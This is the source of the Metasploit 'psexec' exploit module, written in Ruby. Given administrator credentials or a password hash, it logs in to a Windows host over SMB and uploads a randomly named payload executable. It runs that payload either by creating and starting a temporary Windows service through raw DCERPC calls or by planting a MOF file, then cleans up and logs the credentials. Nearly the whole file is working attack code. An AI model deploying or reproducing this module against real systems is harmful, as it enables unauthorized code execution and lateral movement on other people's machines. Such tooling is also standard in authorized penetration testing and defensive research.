##
# $Id: psexec.rb 12180 2011-03-29 16:35:26Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


=begin
Windows XP systems that are not part of a domain default to treating all
network logons as if they were Guest. This prevents SMB relay attacks from
gaining administrative access to these systems. This setting can be found
under:

	Local Security Settings >
	 Local Policies >
	  Security Options >
	   Network Access: Sharing and security model for local accounts
=end

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Remote::SMB::Authenticated
	include Msf::Auxiliary::Report
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Windows Authenticated User Code Execution',
			'Description'    => %q{
					This module uses a valid administrator username and password (or
				password hash) to execute an arbitrary payload. This module is similar
				to the "psexec" utility provided by SysInternals. This module is now able
				to clean up after itself. The service created by this tool uses a randomly 
				chosen name and description.
			},
			'Author'         =>
				[
					'hdm',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12180 $',
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'WfsDelay'     => 10,
					'EXITFUNC' => 'process'
				},
			'References'     =>
				[
					[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
					[ 'OSVDB', '3106'],
					[ 'URL', 'http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx' ]
				],
			'Payload'        =>
				{
					'Space'        => 2048,
					'DisableNops'  => true,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			# For the CVE, PsExec was first released around February or March 2001
			'DisclosureDate' => 'Jan 01 1999'
		))

		register_options(
			[
				OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
			], self.class )

		register_advanced_options(
			[
				OptBool.new('DB_REPORT_AUTH', [true, "Report an auth_note upon a successful connection", true]),
				OptBool.new('MOF_UPLOAD_METHOD', [true, "Use WBEM instead of RPC, ADMIN$ share will be mandatory. ( Not compatible with Vista+ )", false])
			], self.class)
	end

	def exploit

		print_status("Connecting to the server...")
		connect()

		print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
		smb_login()

		if (not simple.client.auth_user)
			print_line(" ")
			print_error(
				"FAILED! The remote host has only provided us with Guest privileges. " +
				"Please make sure that the correct username and password have been provided. " +
				"Windows XP systems that are not part of a domain will only provide Guest privileges " +
				"to network logins by default."
			)
			print_line(" ")
			disconnect
			return
		end

		if datastore['DB_REPORT_AUTH']
			report_hash = {
				:host	=> datastore['RHOST'],
				:port   => datastore['RPORT'],
				:sname	=> 'smb',
				:user	=> datastore['SMBUser'],
				:pass	=> datastore['SMBPass'],
				:active => true
			}
			if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
				report_hash.merge!({:type => 'smb_hash'})
			else
				report_hash.merge!({:type => 'password'})
			end
			report_auth_info(report_hash)
		end

		if datastore['MOF_UPLOAD_METHOD']
			# payload as exe
			print_status("Trying wbemexec...")
			print_status("Uploading Payload...")
			if datastore['SHARE'] != 'ADMIN$'
				print_error('Wbem will only work with ADMIN$ share')
				return
			end
			simple.connect("ADMIN$")
			filename = rand_text_alpha(8) + ".exe"
			exe = generate_payload_exe
			fd = smb_open("\\system32\\#{filename}", 'rwct')
			fd << exe
			fd.close
			print_status("Created %SystemRoot%\\system32\\#{filename}")

			# mof to cause execution of above
			mofname = rand_text_alphanumeric(14) + ".MOF"
			mof = generate_mof(mofname, filename)
			print_status("Uploading MOF...")
			fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
			fd << mof
			fd.close
			print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

			# Disconnect from the ADMIN$
			simple.disconnect("ADMIN$")			
		else
			filename = rand_text_alpha(8) + ".exe"
			servicename = rand_text_alpha(8)

			# Upload the shellcode to a file
			print_status("Uploading payload...")
			simple.connect(datastore['SHARE'])

			fd = smb_open("\\#{filename}", 'rwct')

			exe = ''
			opts = { :servicename => servicename }
			if (datastore['PAYLOAD'].include? 'x64')
				opts.merge!({ :arch => ARCH_X64 })
			end
			exe = generate_payload_exe_service(opts)

			fd << exe
			fd.close

			print_status("Created \\#{filename}...")

			# Disconnect from the share
			simple.disconnect(datastore['SHARE'])

			# Connect to the IPC service
			simple.connect("IPC$")


			# Bind to the service
			handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
			print_status("Binding to #{handle} ...")
			dcerpc_bind(handle)
			print_status("Bound to #{handle} ...")

			##
			# OpenSCManagerW()
			##

			print_status("Obtaining a service manager handle...")
			scm_handle = nil
			stubdata =
				NDR.uwstring("\\\\#{rhost}") +
				NDR.long(0) +
				NDR.long(0xF003F)
			begin
				response = dcerpc.call(0x0f, stubdata)
				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
					scm_handle = dcerpc.last_response.stub_data[0,20]
				end
			rescue ::Exception => e
				print_error("Error: #{e}")
				return
			end

			##
			# CreateServiceW()
			##


			# define the file location
			if datastore['SHARE'] == 'ADMIN$'
				file_location = "%SYSTEMROOT%\\#{filename}"
			elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
				file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
			else
				file_location = "\\\\127.0.0.1\\#{datastore['SHARE']}\\#{filename}"
			end

			displayname = 'M' + rand_text_alpha(rand(32)+1)
			svc_handle  = nil
			svc_status  = nil

			print_status("Creating a new service (#{servicename} - \"#{displayname}\")...")
			stubdata =
				scm_handle +
				NDR.wstring(servicename) +
				NDR.uwstring(displayname) +

				NDR.long(0x0F01FF) + # Access: MAX
				NDR.long(0x00000110) + # Type: Interactive, Own process
				NDR.long(0x00000003) + # Start: Demand
				NDR.long(0x00000000) + # Errors: Ignore
				NDR.wstring( file_location  ) + # Binary Path
				NDR.long(0) + # LoadOrderGroup
				NDR.long(0) + # Dependencies
				NDR.long(0) + # Service Start
				NDR.long(0) + # Password
				NDR.long(0) + # Password
				NDR.long(0) + # Password
				NDR.long(0)  # Password
			begin
				response = dcerpc.call(0x0c, stubdata)
				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
					svc_handle = dcerpc.last_response.stub_data[0,20]
					svc_status = dcerpc.last_response.stub_data[24,4]
				end
			rescue ::Exception => e
				print_error("Error: #{e}")
				return
			end

			##
			# CloseHandle()
			##
			print_status("Closing service handle...")
			begin
				response = dcerpc.call(0x0, svc_handle)
			rescue ::Exception
			end

			##
			# OpenServiceW
			##
			print_status("Opening service...")
			begin
				stubdata =
					scm_handle +
					NDR.wstring(servicename) +
					NDR.long(0xF01FF)

				response = dcerpc.call(0x10, stubdata)
				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
					svc_handle = dcerpc.last_response.stub_data[0,20]
				end
			rescue ::Exception => e
				print_error("Error: #{e}")
				return
			end

			##
			# StartService()
			##
			print_status("Starting the service...")
			stubdata =
				svc_handle +
				NDR.long(0) +
				NDR.long(0)
			begin
				response = dcerpc.call(0x13, stubdata)
				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
				end
			rescue ::Exception => e
				print_error("Error: #{e}")
				return
			end

			##
			# DeleteService()
			##
			print_status("Removing the service...")
			stubdata =
				svc_handle
			begin
				response = dcerpc.call(0x02, stubdata)
				if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
				end
			rescue ::Exception => e
				print_error("Error: #{e}")
			end

			##
			# CloseHandle()
			##
			print_status("Closing service handle...")
			begin
				response = dcerpc.call(0x0, svc_handle)
			rescue ::Exception => e
				print_error("Error: #{e}")
			end

			begin
				print_status("Deleting \\#{filename}...")
				select(nil, nil, nil, 1.0)
				simple.connect(datastore['SHARE'])
				simple.delete("\\#{filename}")
			rescue ::Interrupt
				raise $!
			rescue ::Exception
			end
		end
		handler
		disconnect
	end
end

